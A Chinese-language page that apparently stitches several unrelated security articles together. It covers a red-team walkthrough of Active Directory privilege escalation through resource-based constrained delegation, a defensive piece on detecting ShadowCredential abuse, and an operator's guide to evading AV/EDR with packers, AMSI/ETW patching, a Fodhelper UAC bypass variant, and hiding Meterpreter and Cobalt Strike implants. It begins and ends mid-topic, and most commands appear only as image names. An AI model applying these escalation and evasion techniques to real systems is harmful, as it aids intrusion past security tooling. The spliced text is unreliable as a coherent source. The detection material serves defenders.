GuLoader使用不同的大小,而不是與密鑰一起存儲的大小,來欺騙自動分析。如果我們不考慮這一點,我們只能解密下載有效負載的前843字節,其餘的數據將被破壞。

與以前

微軟試圖為域用戶提供更大的靈活性,使資源的所有者能夠配置哪些帳戶是可信的,並允許委派給他們。這可以通過修改用於控制目標資源訪問的屬性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”來實現的。具體而言,如果計算機帳戶等資源設置了此屬性,則允許帳戶代表計算機帳戶執行操作。為了能夠修改此屬性,帳戶需要具備該對象的寫入權限,而默認情況下該權限是沒有的。但是,如果可以觸發SYSTEM 帳戶並將身份驗證中繼到Active Directory,則帳戶可能會獲得委派權限,從而充當提升的用戶。

通過基於資源的約束委派提升特權並不是一個新話題,Elad Shamir 和Will Schroeder 過去曾對此進行過討論。此攻擊向量遵循一系列步驟並依賴於用戶服務(S4U) Kerberos 擴展,該擴展使服務(例如CIFS)能夠代表另一個用戶請求和獲取服務票證。通過基於資源的約束委派提權的方法包括以下步驟:

1.發現計算機賬戶配額;

2.啟用WebClient 服務;

3.創建計算機帳戶;

4.NTLM中繼;

5.哈希計算;

6.請求服務票;

7.票證轉換;

8.通過Kerberos 身份驗證訪問;

下圖說明了基於資源的約束委派的步驟:

1.png

尋找計算機賬戶配額默認情況下,域中的用戶最多可以創建10 個計算機帳戶。屬性“ms-DS-MachineAccountQuota”的值定義了可以創建多少個計算機帳戶。從Active Directory 的角度來看,這可以通過查看域屬性中的屬性編輯器來觀察到這一點。

2.png

計算機賬戶配額

但是,可以通過在紅隊操作期間查詢Active Directory 對象來檢索上述值。 SharpView 相當於用C# 開發的PowerView,因此可以直接從植入程序中使用。執行下面的命令將枚舉所有域對象。

3.png

SharpView——域對象

屬性“ms-ds-machineaccountquota”的值將顯示在輸出中。

4-.png

SharpView——計算機賬戶配額

另一種方法是使用StandIn,它只能查詢感興趣的域對象。

4.png

StandIn——計算機賬戶配額對象

“ms-ds-machineaccountquota”的值將顯示在控制台中。

5.png

StandIn——計算機賬戶配額

啟用WebClient 服務在Windows 10、Windows 11等較新版本操作系統中,安裝了web客戶端服務,但默認未啟用。服務的狀態可以通過在PowerShell控制台執行以下操作來獲得。

6.png

WebClient Service – Status

為了使該技術生效,WebDav 服務需要處於運行狀態,因為WebDav 不協商簽名,因此將允許來自當前計算機帳戶的身份驗證中繼。標準用戶沒有權限啟用該服務。 James Forshaw 發布了一個概念證明,它通過觸發自定義ETW 事件來解決此問題,該事件將從標準用戶的角度啟用該服務。

7.png

c++代碼——啟用Web客戶端

將代碼編譯為可執行文件並在目標主機上運行二進製文件以啟用該服務。

8.png

啟用WebClient 服務

在命令提示符中,可以通過執行以下命令查詢服務:

9.png

WebClient服務

創建計算機帳戶如上所述,默認情況下域用戶最多可以創建10 個計算機帳戶。如果提供憑據,可以使用各種工具從加入域的系統和未加入域的系統中創建計算機帳戶。 Ruben Boonen 開發了一個名為StandIn 的.NET 活動目錄後開發工具包,可以從植入程序中使用它來執行與基於資源的約束委派相關的任務,例如創建計算機帳戶。執行以下命令將使用隨機密碼在域上創建一個新的計算機帳戶。

10.png

StandIn——創建計算機帳戶

Impacket 包含一個python 腳本,它可以從非域加入系統創建計算機帳戶。

11.png

Impacket——添加新計算機

另外,這個任務也可以通過PowerShell來執行,因為Kevin Robertson開發的PowerMad模塊包含一個可以創建新計算機帳戶的功能。

Import-Module.\Powermad.psm1

New-MachineAccount-MachineAccountPentestlaboratories-Domainpurple.lab-DomainControllerdc.purple.lab 13.png

PowerMad——新計算機帳戶

如果系統已經針對基於資源的約束委派進行了配置,則可以使用現有的計算機帳戶,而不是使用上述方法之一創建新的計算機帳戶。 StandIn 的“委派”標誌可以顯示所有具有基於資源的受限委派權限的帳戶,包括具有不受約束和受限委派權限的帳戶。

14.png

StandIn——發現為基於資源的受限委派配置的帳戶

NTLM中繼由於已經創建了一個新的計算機帳戶並且Web 客戶端服務正在主機上運行,因此下一步是從Impacket 配置“ntlmrelayx”以進行委派。一旦捕獲了來自合法計算機帳戶的身份驗證,將被轉發到域控制器以通過LDAP 進行身份驗證。由於初始身份驗證將通過HTTP 接收,因此需要在目錄中放置圖像。偽造的計算機賬戶“DESKTOP-Pentestlab$”將成為委派權限的目標。

15.png

Ntlmrelayx——委派訪問

為了強制系統帳戶通過網絡進行身份驗證,NCC 集團開發了接受WebDav 路徑的Change-Lockscreen。為了使身份驗證成功,需要使用主機名而不是IP 地址,因為WebDav 客戶端會在Intranet 區域中自動進行身份驗證。需要注意的是,WebClient 服務將使用更改鎖屏觸發器來啟用,並且可以避免啟用Web 客戶端服務的步驟。

16.png

身份驗證觸發器——Change-LockScreen

計算機帳戶(Hive$) 將通過Kali 實例上的HTTP 進行身份驗證,並將嘗試在隨機路徑上查找圖像。在域控制器上中繼身份驗證後,虛假計算機帳戶(DESKTOP-Pentestlab$) 將獲得對Hive$ 帳戶的委派權限。

17.png

ntlmrelayx ——基於資源的約束委派

如果使用rbcd python 腳本提供域憑據,則該攻擊也可以從未加入的域系統執行,該腳本可自動執行該過程。

18.png

Python 實現——rbcd

與具有委派權限的計算機帳戶對應的值將出現在計算機對象(Hive) 的“msDS-AllowedToActOnBehalfOfOtherIdentify”屬性中。

19.png

Active Directory——基於資源的約束委派

哈希計算從密鑰傳遞中心(KDC) 獲取票證的請求需要密碼的哈希表示而不是純文本值。由於計算機帳戶的密碼是已知的,因此可以使用Rubeus 的“哈希”操作來計算給定密碼的哈希值。

20.png

計算哈希——計算機賬戶

請求服務票證計算機帳戶“DESKTOP-Pentestlab$”具有受約束的委派權限,因此可以使用Rubeus 代表管理員帳戶請求通用Internet 文件系統(CIFS) 的服務票證。這是通過使用用戶服務(S4U) Kerberos 擴展來實現的,該擴展能夠代表用戶請求服務票證。由於將頒發的票證屬於管理員帳戶,因此可用於通過Kerberos 進行身份驗證,以提升的用戶身份訪問主機。將為為委派創建的計算機帳戶(DESKTOP-Pentestlab$) 請求初始票證。

21.png

TGT 請求——計算機賬戶

使用“用戶服務”操作,將向管理員帳戶的當前域控制器的Kerberos 分發中心(KDC) 請求票證。

22.png

管理員TGS

最後使用Kerberos 擴展S4U2proxy 將代表管理員帳戶為CIFS 服務請求票證。應該注意的是,即使請求的票證不會被標記為可轉發,它仍然可以用於訪問服務。

23.png

CIFS 服務票證

上述過程可以通過使用python實用程序“getST”直接從Impacket執行。與Rubeus相比,該工具不需要對計算機帳戶密碼進行散列,而是需要對純文本進行哈希處理。可以通過執行以下命令來請求服務票證:

24.png

CIFS 票證——getST

票證將在當前工作目錄中保存為.ccache。

轉換票證Rubeus 的最終票證授予票證(TGT) 是基於64 編碼的。為了用於Kerberos 身份驗證,票證需要採用.ccache 格式。執行以下命令將解碼票證並將輸出寫入.kirbi 文件。

25.png

Base64 - Kirbi Ticket

Impacket 包含一個python 實用程序,它可以將具有.kirbi 擴展名的Kerberos 票證轉換為.ccache。

26.png

票證轉換器——從kirbi 到ccache

“KRB5CCNAME”環境變量應設置為.ccache 票證的位置,以便在Kerberos 身份驗證期間使用來自緩存的票證。

27.png

環境變量——Kerberos 票證

通過Kerberos 身份驗證訪問獲取屬於管理員帳戶的票證意味著它可用於從更高的角度訪問目標服務。 來自Impacket 的“wmiexec”和“psexec”都支持Kerberos 身份驗證,因此可用於以管理員或系統身份訪問主機,完成權限提升方案。

28.png

Wmiexec——Kerberos 身份驗證

執行“psexec”將在目標主機上創建一個服務,它被認為是不安全的。 但是,它可以通過使用“-k”和“-no-pass”標誌指定管理員帳戶和目標主機來使用Kerberos 身份驗證來執行。

29.png

Psexec——Kerberos 身份驗證

或者僅使用相同的標誌和目標主機。

30.png

psexec——Kerberos 身份驗證

abstract_threat_actor_attribution-1200x600.jpg

TGT是CAS 為用戶簽發的登錄ticket,也是用於驗證用戶登錄成功的唯一方式。 TGT 封裝了Cookie 值以及Cookie 值對應的用戶信息,CAS 通過Cookie 值(TGC)為key 查詢緩存中有無TGT(TGC:TGT(key:value)),如果有的話就說明用戶已經登錄成。

獲得對公司網絡資源的未經授權訪問的最複雜但最有效的方法之一是使用偽造證書進行攻擊。攻擊者創建這樣的證書來欺騙密鑰分發中心(KDC)授予對目標公司網絡的訪問權。此類攻擊的一個示例是ShadowCredential(msDS-KeyCredentialLink屬性)技術,該技術允許攻擊者通過修改受害者的msDS-KeyCredentialLink屬性並向其添加授權證書來登錄用戶帳戶。這種攻擊很難被檢測到,因為攻擊者不是竊取憑證,而是使用合法的Active Directory (AD)機制和配置漏洞。

儘管如此,緩解使用偽造證書的攻擊是可能的。在分析了託管檢測與響應服務MDR的數據後,研究人員確定了網絡中此類攻擊的幾個跡象,並開發了一個能夠查找AD中工件的概念驗證實用程序,以及可以添加到SIEM中的一些檢測邏輯規則。不過,我們有必要首先簡單介紹一下基於證書的Kerberos身份驗證的特點。

AD中的Kerberos身份驗證和實現過程在基於Active Directory的現代企業網絡中,資源管理是通過Kerberos協議執行的。只有當用戶能夠向網絡內的任何服務(對象)提供KDC頒發的票證(下圖中的Msg E)時,用戶才能訪問該對象。發送服務票證的KDC組件稱為票證授予服務器(TGS)。此外,用戶只有在擁有ticket Granting ticket (TGT)(下圖中的Msg B)時才會從KDC接收TGS票證。本質上,TGT是成功的用戶身份驗證的證明,通常虛通過密碼驗證。

1.png

Kerberos身份驗證方案但是,有一種方法可以在不知道密碼的情況下獲得TGT,即使用證書。為此,KDC必須信任所提供的證書,並且該證書必須與TGT中請求的主題相關。 Kerberos的這一部分稱為用於初始身份驗證的公鑰加密(PKINIT),如果公司網絡中有為域用戶頒發證書的證書頒發機構,那麼設置身份驗證就非常容易。

2.png

但還有另一種方法,例如,要利用Microsoft Hello For Business功能,如基於PIN的授權或人臉識別,不過前提是登錄的設備必須具有自己的AD證書,以便KDC可以基於該證書頒發TGT。但是,並非所有具有活動目錄的網絡都具有證書頒發機構。這就是創建msDS-KeyCredentialLink屬性的原因,可以在其中編寫證書。 KDC將信任該證書並頒發TGT。這是一個很好的解決方案,擴展了Microsoft Active Directory的功能。

然而,基於上述邏輯,將msDS-KeyCredentialLink屬性寫入某個對象的主體也將能夠獲得該對象的票證,這就是問題所在。

攻擊是如何展開的?讓我們舉例說明一種可能的攻擊場景:

1.主體logan_howard對AD域中的任何屬性都有寫入權限,它使用Whisker將公鑰寫入域控制器對象(AD -gam$)的msDS-KeyCredentialLink屬性。

3.png

2.主體接收發送給域控制器的TGT(使用Rubeus工具包)。

4.png

3.在提交此TGT時,主體獲得TGS票證,以同步域(MS-DRSR:目錄複製服務遠程協議)中的密碼信息。

4.作為主體,攻擊者從域管理員帳戶(administrator)“同步”哈希,以冒充管理員,以便獲得對數據的訪問權限並在公司網絡內部橫向移動。這種攻擊稱為DCSync,並使用mimikatz。

5.png

工件查找我們不關注如何讓KDC信任特定的證書,包括被盜的或偽造的證書,而是關注TGT發送時的情況。這會觸發域控制器上的事件4768:請求了Kerberos身份驗證票證(TGT)。該事件可能包含用於身份驗證證書裡的工件,包含三個字段:CertIssuerName、CertSerialNumber和CertThumbprint。這些域是我們接下來要重點介紹的。

為方便起見,我們將在ELK集群的Kibana接口中處理所有事件。默認情況下,Logstash實際上知道如何將Event 4768的位字段轉換為列表中特定於票證的值數組,這也使得搜索更快更順暢。我們建議你參考官方的WinLogBeat設置指南,使用一組Docker配置來快速啟動和運行你的ELK實驗室。

在測試環境中,我們基於使用Whisker生成的偽造證書創建了幾個TGT請求事件。下面是這些事件在測試環境中的示例:

6.png

在MDR服務的框架內,研究人員每週觀察到數十萬個基於證書的票證請求事件。研究人員可以依據這些樣本,分析出一些攻擊模式:

攻擊的很大一部分是由Microsoft Azure Active Directory的基於證書的票證請求組成的(下圖中聚合的“Azure”行)。不過這些都不重要,可以使用Kibana接口中具有CertIssuerName字段值的正則表達式輕鬆地過濾它們。

7.png

還有許多事件用於Microsoft Hello For Business證書(“Hello4B self gen”行)使用的證書。在這種情況下,將證書數據寫入msDS-KeyCredentialLink屬性,並以編程方式生成密鑰(NCRYPT_IMPL_SOFTWARE_FLAG)。它們通常有一個以“CN=”開頭的名稱和一個兩位數的序列號,通常是01。

8.png

如果計算機有一個存儲在受信任的平台模塊中的密鑰(“TPM註冊”行),那麼使用該密鑰的證書也可以用正則表達式來描述,因此我們對此不感興趣。

9.png

但最常見的情況可能是使用Microsoft證書頒發機構頒發的證書(“Windows服務器CS角色頒發”行)。可以在運行Microsoft Windows服務器版本的計算機上啟用此服務。值得注意的是,如果你自己監控本地基礎設施,並且不是MSSP,你會發現通過CertIssuerName值過濾掉這種情況要容易得多——您的CA服務器的名稱(很可能是林中每個域的唯一名稱)。實際上,即使是大型公司網絡也只有相當少的CA能夠頒發證書。但是,即使你是一個MSSP,為了過濾掉所有客戶端PKI服務器的名稱仍然不會有太大麻煩。現在來看其他領域的一些模式。

10.png

此時,也可能存在第三方PKI實現,其證書在頒發票證時受到Kerberos服務器的信任。例如,監控時遇到了Lanaco公司開發的專業軟件。

使用真實數據,讓我們看看可以過濾掉哪些查詢。為此,我們可以使用上述正則表達式構建以下聚合:

11.png

卡巴斯基MDR服務中基於證書的票證請求事件的聚合

查看“Rest”行,其中包含剩餘的未過濾事件(其中13個),注意CertIssuerName字段。

12.png

未過濾的基於證書的票證請求事件的擴展列表

Whisker代碼分析在如上示例中,證書是在帶有默認參數的Whisker實用程序中生成的。有關生成自簽名證書的過程的描述,請參閱此處。

Whisker試圖將其證書作為Microsoft Hello For Business證書(在程序生成的情況下,是一對密鑰)。但是,原始證書(當Windows PC獨立生成證書以使用此功能時)包含一個錯誤:CertIssuerName字段中的可分辨名稱(DA)表示法使用格式“CN=…”。攻擊者的工具包沒有此錯誤,這是可疑的。

第二和第三行可以與測試台的數據進行比較,但要在MDR產品系統中進行。

13.png

我們可以直接向Kibana添加一個Painless腳本,該腳本可以查找CertIssuerName和TargetAccountName之間不區分大小寫的匹配所導致的所有4768個事件。

14.png

有10個這樣的事件,它們都與Whisker實用程序的使用有關。

15.png

使用票證標誌搜索字段現在,讓我們考慮在任意時間間隔內測試台上的事件中的winlog.event_data.TicketOptionsDescription字段,在此期間,偽造和合法的TGT請求都會發生。

16.png

引人注目的是沒有名稱規範化標誌,這在Kerberos基礎設施中起著重要作用。問題是服務或帳戶可以有多個主名稱。例如,如果一台主機有多個名稱,那麼基於它的服務可能有多個服務主體名稱(Service Principal names, spn)。為了使客戶機不必為每個名稱請求票證,KDC可以在憑據檢索過程中向它提供映射信息。啟用名稱規範化標誌時請求此功能。理論上講,如果設置了“canonicalize”選項,KDC可以在響應和TGT中修改客戶端和服務器的名稱和SPN。但在發現的示例中,卻沒有類似標識,這很可疑。讓我們找到所有使用PKINIT(基於證書)請求但卻沒有此標識的票證。以下是研究人員根據卡巴斯基MDR產品數據創建的請求。

17.png

以上是Whisker + Rubeus在測試台(AD-Gam主機)上的活動(過去30天)以及在測試ADCS設置中的一組漏洞時所做的工作,我們將其合併為ADCS ESC或Certified Pre-Owned。此外,還有一個通過證書名稱過濾的誤報和一個發送到客戶端的事件。

讓我們看看Rubeus的例子,看看為什麼在票證請求中沒有設置名稱規範化標誌。

18.png

事實證明,Rubeus並不是故意進行這個操作的。同樣地,對於使用Kerberos的安全分析人員來說,Impacket是事實上的標準工具包。這就解釋了為什麼會出現上述可以現象。由於代碼的簡單性和流行性,這樣的實用程序非常多。

msDS-KeyCredentialLink屬性我們可以比較兩個屬性:一個是在Hello for Business配置期間合法設置的,另一個是由Whisker設置的。他們之間是有區別的。在比較這些屬性時,研究人員編寫了一個工具,可以讓你從非法屬性設置中找到該工件。

你可以在開發環境中下載並使用此實用程序,調試時,嘗試查找並比較“好”和“壞”屬性中的關鍵差異。

注意事項:

1.msDS-KeyCredentialLink屬性是否具有DeviceId(GUID格式)?如果是這樣,再加上域中沒有具有此ID的對象,那就很可疑了。如果存在這樣一個對象,並且它屬於Azure AD連接器,那麼這可能是一個正常情況;

2正常情況下,Flags字段不包含MFANotUsed,但在合法案件中通常是這樣;

3.KeyMaterial的長度不超過270字節;4.KeyApproximateLastLogonTimeStamp和KeyCreationTime幾乎相同。然而,這一參數不太可靠,最好不要使用。

總結上述攻擊雖然隱蔽性較強,但在使用偽造證書時可以被檢測到。通過本文介紹的基礎設施(理想情況下包括所有活動密鑰的列表)和監控將有助於安全專家進行防護。通過本文介紹的程序還能夠發現使用偽造證書的常見模式和攻擊結果,並簡化搜索過程。

我們會在本文中介紹基於簽名的檢測和基於行為的檢測之間的主要區別。此外,還會舉例說明了繞過各個檢測的示例。

經常會有人有疑問,為什麼在有關Packer(封隔器)被發布後,MSF- 或CobaltStrike- (CS)有效負載仍然會被檢測到。答案無非有兩種:

1.基於簽名的檢測被繞過了;2.基於行為的檢測被觸發並終止進程。

使用我們的自定義封隔器將導致反掃描。被封隔的MSF有效負載如下:

1.JPG

但這並不意味著,在運行時執行時,這些殺毒程序不會檢測到有效負載。為什麼會出現這種情況?

基於簽名的檢測基於簽名的檢測非常簡單。最早的殺毒程序有一個帶有File-Hashes的簽名數據庫,他們只是將磁盤上任何可執行文件的哈希與已知的惡意可執行程序哈希進行比較。例如,該數據庫包含Mimikatz發布二進製文件的SHA1/MD5哈希。改變一個可執行文件的哈希值就像操縱其中的一個字節一樣簡單,所以這種檢測並不可靠。

基於這一事實,安全供應商轉而檢測特定的字節模式(BytePattern)簽名。因此,為了繼續使用Mimikatz的示例,具體的字節模式/十六進制值被標記如下:

2.png

可以看到,不僅要為每個已知的惡意二進製文件/有效負載標記一個模式,而且要使用多個常見模式。 Mimikatz始終是基於簽名的檢測的一個很好的示例,因為通常供應商有幾十種Mimikatz二進制檢測的模式。通過這種方式,稍微修改過的版本也能被檢測到。

甚至可以使用yara規則構建更高級的檢測。這些規則可以掃描文件或內存內容,並允許更複雜的條件和不同模式的組合。 Mimikatz yara規則的一個示例如下:

3.png

在本示例中,如果在文件或內存中找到上述三個字符串,則會觸發此規則,AV/EDR程序可以執行警報或終止進程等操作。例如,我們在構建自定義Mimikatz二進制代碼的文章中描述的技術就可以繞過這樣的檢測。

封隔器的內部工作原理首先要了解封隔器的基本工作原理,了解它能做什麼,不可能做什麼。最後利用一個程序將一個有效負載封裝到另一個程序中,以避免對其進行基於簽名的檢測。因此,如果像Mimikatz這樣的負載包含特定的字符串,那麼這些字符串將在生成的二進製文件中不再可見。包裝過程可以通過某種編碼/混淆或加密來完成。我個人更喜歡加密有效負載,因為這將產生最好的隨機性,因此基於簽名的檢測最少。

4.png

這種經過編碼或加密的負載必須在生成的加載器程序中解碼/解密,以便可以從內存中執行明文負載。

根據有效負載的不同,封隔器也可以在當前進程或遠程進程中刪除更多檢測:

如果你的封隔器正在打補丁/繞過AMSI,你可以安全地從內存執行不同的已知惡意腳本(PS1,VBA,JS等)或c#程序集。

為了繞過基於ETW的檢測,封隔器還可以通過不同的發布技術修補/繞過ETW。

基於掛鉤的Win32 API檢測可以通過取消掛鉤或直接/間接使用Syscall來繞過。

基於熵的檢測將檢測到許多封隔器,因為有效負載的加密將由於隨機性而導致非常高的熵。這可以通過在生成的二進制中添加數千個單詞來繞過,因為這再次降低了熵。

但是,即使所有這些技術都得到了應用,仍然存在更多潛在的“問題”:

1.內存掃描;

2.行為檢測;

3.攻擊者。

一般來說,使用封隔器也可以繞過內存掃描,但這非常有限。

內存掃描和常用的繞過技術由於基於簽名的檢測很容易被封隔器技術繞過,越來越多的AV/EDR供應商傾向於使用掃描進行內存分析。這些掃描通常不會在所有進程中一直進行,因為這會消耗太多資源,但可能會由特定條件觸發。

例如,內存掃描通常在以下情況下出現:

生成一個新進程,例如運行一個可執行文件;

進程的行為觸發內存掃描;

第一個很容易繞過。例如,即使是封隔器也可以在解碼/解密真正的有效負載之前休眠一段時間。在這種情況下,將進行內存掃描,但不會發現任何東西,因為負載仍然是加密的。仍然有方法檢測Win32基於睡眠的內存掃描繞過,例如這裡演示的。作為使用Sleep的替代方案,你也可以在特定的時間內執行偽代碼或進行計算。除了使用Sleep,還有許多其他替代方法。

但一般來說,繞過內存掃描有以下三種方法:

更改/修改有效負載的源代碼,以避免基於簽名的檢測;

更改有效負載的行為,以便永遠不會觸發內存掃描;

內存加密。

我個人更喜歡第一種選擇,它在每個程序中都是一次性的,只要新的代碼庫不公開,它也不應該在未來被檢測到。

繞過基於行為的內存掃描是比較困難的,這取決於你的有效負載的行為。試想一下Mimikatz的行為(例如,用OpenProcess打開LSASS的句柄)會觸發一次掃描,此時,無法從內存中隱藏Mimikat,因為它需要進行加密才能工作。因此,Mimikatz不會選擇內存加密。

對於像Cobalt Strike這樣著名的C2框架,最常見的選擇是內存加密。但是如果你沒有訪問源代碼的權限,就不可能修改它以避免內存檢測。一般來說,C2框架是這項技術的優先選擇,因為它們大部分時間都處於休眠狀態。如果一個程序什麼也不做,它的內存內容可以在這個時間段內被加密,而不會出現任何問題。

基於行為檢測的一些示例和繞過但是,哪些行為會在運行時觸發AV/EDR操作或內存掃描呢?基本上全都可以。將內容寫入內存,以特定的順序或時間框架加載特定的庫,創建註冊表項,執行初始HTTP請求或任何其他操作。

我將在這裡舉幾個例子,介紹相應繞過技術。

根據我的個人經驗,AV/EDR在檢測到特定行為後極少立即終止進程。這是因為AV/EDR供應商不希望有太多的誤報結果。由於誤報結果與終止進程的行為會導致生產環境的中斷,這是非常糟糕的。所以他們需要幾乎100%的確定,一個行為肯定是惡意程序終止相應的進程。這也是為什麼許多供應商將行為檢測與內存掃描結合起來,以驗證他們發現了惡意內容。

Fodhelper UAC繞過示例基於行為的檢測的一個很好的示例是帶有Windows Defender的Fodhelper UAC繞過。這個方法非常流行,但也很容易被利用,因為它只需要創建一個註冊表項,然後調用fodhelper.exe:

5.png

在啟用殺毒軟件的情況下執行此操作將導致以下檢測:

6.JPG

此警報既不會終止正在執行的進程,也不會終止新生成的進程,但仍會導致任何攻擊中的檢測。檢測本身不能繞過AMSI,修補ETW也無濟於事。因為這是觸發此警報的特定行為。

我對此處標記的內容進行了一些簡單的試錯分析,發現殺毒軟件不喜歡HKCU:\Software\Classes\ms-settings\Shell\Open\command(Default)條目以及目錄*C:\windows\system32*和*C:\windows \syswow64*中的任何.exe。

因此,觸發警報的行為是使用其中一個字符串在上述目錄中創建註冊表項。

幸運的是,我們不需要指定.exe來執行二進製文件,也不需要兩個目錄來進行攻擊。因此,作為一種替代方案,我們可以直接將e.G. a C2-Stager複製到任何可寫目錄中,並使用UAC-Bypass執行它,而無需調用擴展名。

7.png

但到2022年,許多OffSec用戶將意識到,在安裝了AV/EDR的系統上運行任何未簽名的可執行文件可能不是一個好主意。因此,作為一種替代方案,我們還可以執行任何經過簽名的可信可執行文件,並將相應的Sideloading-DLL放到相同的目錄中。還有第三種選擇,就是我們可以將rundll32.exe複製到我們的可寫目錄中並在那裡執行它。

8.png

基於Meterpreter行為的檢測切記,不要使用分段有效負載,它們會被殺毒軟件捕獲。因此,在我們的示例中,我們將生成用於執行的不分段的反向HTTPS Shellcode。這可以通過以下命令來實現:

9.png

我不會在本文介紹執行Shellcode的方式,因為我只想展示行為檢測,但通常您需要以下內容:

對Shellcode進行加密並在運行時解密,以避免在磁盤上簽名,或者在運行時從遠程Web服務器加載它;

使用直接或間接的系統調用執行,否則Shellcode將在執行前被標記;

在這種情況下,無需修補AMSI/ETW即可使Meterpreter運行。

但是,即使你使用系統調用繞過了基於簽名的磁盤檢測和Shellcode檢測,你也應該能夠看到一個新的Meterpreter Session傳入:

10.JPG

但這只是意味著,我們的初始有效負載成功地執行了。一秒鐘後,進程被終止並出現以下檢測:

11.JPG

同樣,這是一個基於行為的檢測,由附加的DLL文件觸發,通過普通Win32 API和反射DLL注入技術加載。在本例中,stdapi-DLL的注入觸發了一個警報。

在msfconsole提示符中,你可以通過以下命令禁用stdapi DLL的加載:

12.png

這樣,你就應該可以很好地接收Meterpreter Session:

13.JPG

然而,禁用stdapi加載將導致你的Meterpreter-Session中幾乎沒有命令/模塊,只有“內核命令”可用。

等待幾分鐘後,你可以使用以下命令手動加載stdapi,但仍應沒有檢測:

14.JPG

這種基於行為的檢測是關於什麼的?我不能百分之百地肯定,但很可能是以下因素的組合:

1.新生成的進程;

2.在調用用於反射加載DLL的特定Windows API之前,新進程的時間框架x;

3.內存掃描,用於驗證惡意內容;

4.內存中Meterpreter的檢測和終止進程的操作。

注意:這是繞過Meterpeter防禦行為檢測的唯一可能方法。

如上所述,繞過內存掃描的一個通用方法是修改源代碼以避免內存中的簽名。繞過內存掃描的一個通用方法是修改源代碼以避免內存中的簽名,因此修改源代碼是另一種選擇,Meterpreter源代碼混淆的自動化方法可以點擊這裡。這樣做之後,就能夠在啟用autostdapi-Loading的情況下避免這種檢測。

第三種方法是內存加密,這對於Meterpreter來說並不容易實現,因為在請求命令之前,HTTP/HTTPS源代碼不像許多其他c2框架那樣在時間框架x上休眠。它只是拋出許多HTTP(S)請求,其間有一些小延遲。所以內存加密會中斷這個過程。如果你使用這個方法,那麼你需要在源代碼中自己集成一個帶有內存加密的自定義Sleep-function。

Cobalt Strike檢測Cobalt Strike很可能是最複雜、分析最深入的C2框架。這很可能是因為在過去幾年裡,它被許多不同的攻擊組織在野外使用。不更改默認設置在大多數環境中是不可用的,因為這會立即被檢測到。

即使使用自定義的打包器/加載器和系統調用來執行Shellcode,在許多環境中仍然會失敗。因此,我會解釋作為操作員在使用此框架時需要做的最低要求和修改。

C2服務器/基礎設施最低要求:

1.禁用Malleable配置文件中的分段,如果啟用了該功能,你的植入程序幾乎會立即被終止,因為有許多Internet範圍內的自動掃描器下載第二階段來分析和共享它。

2.你必須使用帶有許多不同重要繞過設置的自定義Malleable C2-Profile來繞過一些檢測。

3.必須在C2服務器前面使用重定向器。此重定向程序應釋放/阻止已知的沙盒分析IP範圍,並且僅允許和重定向那些符合Malleable C2配置文件的請求。 RedWarden或RedGuard是實現此流程自動化的最佳工具。使用它還可以避免在第一次連接後對Cobalt Strike服務器進行指紋識別和檢測。

植入程序的最低要求:

1.使用加密/混淆和運行時解密/反混淆打包Shellcode。如果你不這樣做,加載器將在磁盤或內存中被簽名標記(取決於加載方式);

2.使用直接或間接的系統調用來執行CS-Shellcode或從內存加載工件。如果不這樣做,在大多數環境中都會導致即時檢測,因為Shellcode始終具有相同的IoC,並且很容易被AV/EDR掛鉤檢測到。

3.使用環境鍵控(environmental keying)繞過潛在的沙盒或自動EDR雲提交分析。

4.你必須通過有關工具包修改Cobalt Strike中的默認睡眠掩碼模板。如果在Malleable C2 Profile中啟用,信標將加密堆和堆棧內存,以在成功執行後從內存掃描程序中隱藏自身。但由於這個默認的睡眠掩碼源代碼本身也被AV/EDR簽名嚴重攻擊,因此也會被內存掃描器標記。你不應該使用任何未修改的公共Github睡眠加密代碼,因為這也會被標記。

所有這些(除了睡眠掩碼的修改)都可以通過一個完全自定義的打包器/加載器或使用有關工具包(Arsenal Kit)來完成,Arsenal Kit已經提供了很多模板代碼。如果你打算使用Arsenal Kit,那麼你必須熟悉C/C++,並對模板代碼進行大量自定義,以繞過檢測。

睡眠掩碼的修改也適用於原始的Shellcode輸出,所以當你使用自己的自定義加載器時,你甚至可以在Arsenal Kit中對其進行修改。不過通過上述修改,Microsoft Defender for Endpoint 在我的測試中仍然檢測到許多惡意行為。

注:即使你應用了上述所有要求,你的植入程序仍然可以在成熟環境中檢測到。根據目標環境中使用的EDR,這是不夠的。仍然存在一些問題:

如果你收到信標連接,別以為你能夠發現什麼。在許多環境中,我都能夠讓Beacon運行,但在發出一個命令/模塊後,植入程序立即被檢測到並終止。正如我所說,CS很可能是目前最複雜的框架,看看這些yara規則,你會發現,供應商確實為每個命令/模塊實現了檢測規則。這些基於行為的檢測使我個人只能使用Cobalt Strike啟動反向Socks Connection,而不能避免本地系統IoC,通過Socks在網絡上完成所有事情。因此,在我的許多項目中,Cobalt Strike或多或少成為了一個獨立的socks5反向代理程序。

對於自動AV/EDR分析,一個簡單的內存加密可能就可以了,但在這種情況下,你需要避免更多的IoC,如RWX/RX內存權限,你不能使用Win32 Sleep,因為這很容易被檢測。

在某些環境中,我的Beacon/Process甚至在回調之前就被檢測到。說實話,我不知道這些監測是乾什麼的,說實話,我也不知道如何繞過他們。

一些更有經驗的Cobalt Strike用戶向我暗示,用戶定義的反射加載器(UDRL)幾乎有無限的可能性,比如TitanLdr。在成熟的環境中,通過可塑配置文件選項來調整Cobalt Strike行為是不夠的。例如,內核將始終使用Win32 API(具有潛在的檢測功能),而不是直接使用Syscall。直到有人將系統調用選項與更新集成。但使用UDRL,你還可以使用導入地址表掛鉤修改所有Cobalt Strike 內核行為。例如,你可以將內核的Hook VirtualProtect設置為NtProtectVirtualMemory。

因此,由於CS內核本身的局限性,它可能是堅持使用UDRL的最隱蔽的方式,而不是使用自定義打包器/加載器或經過修改的Arsenal Kit。

對我個人來說,這已經不是一個選擇了。掛鉤IAT修改一個閉源程序的內核,只是為了繞過基於行為的檢測。在某種程度上,我決定至少在這一刻不會為了讓這個框架的c2連接運行而越來越深入地研究Windows內部。在一年的時間裡,我只開發了很少的沒有檢測的環境和一些有反向Socks代理的環境,我決定使用其他框架。以前沒有CS我也很好,將來也會很好。

真的需要這些繞過技巧嗎?我認為不需要,所有這些繞過技術最終只是用來繞過簽名。

如果你使用的是自己生成的Shellcode,你可以選擇再次堅持使用Win32 API。 WriteProcessMemory或CreateThread將導致對輸入參數的檢測和對Shellcode入口點的分析。但如果沒有已知的惡意簽名,它將正常運行,不會被阻止。

如果你正在使用內部工具或經過大量修改的開放源代碼,AMSI將永遠不會發現你,因為它正在搜索已知的簽名。

如果你使用的是一個混淆的開源C2框架,或者是一個自己開發的框架,內存掃描不會發現你。

問題描述

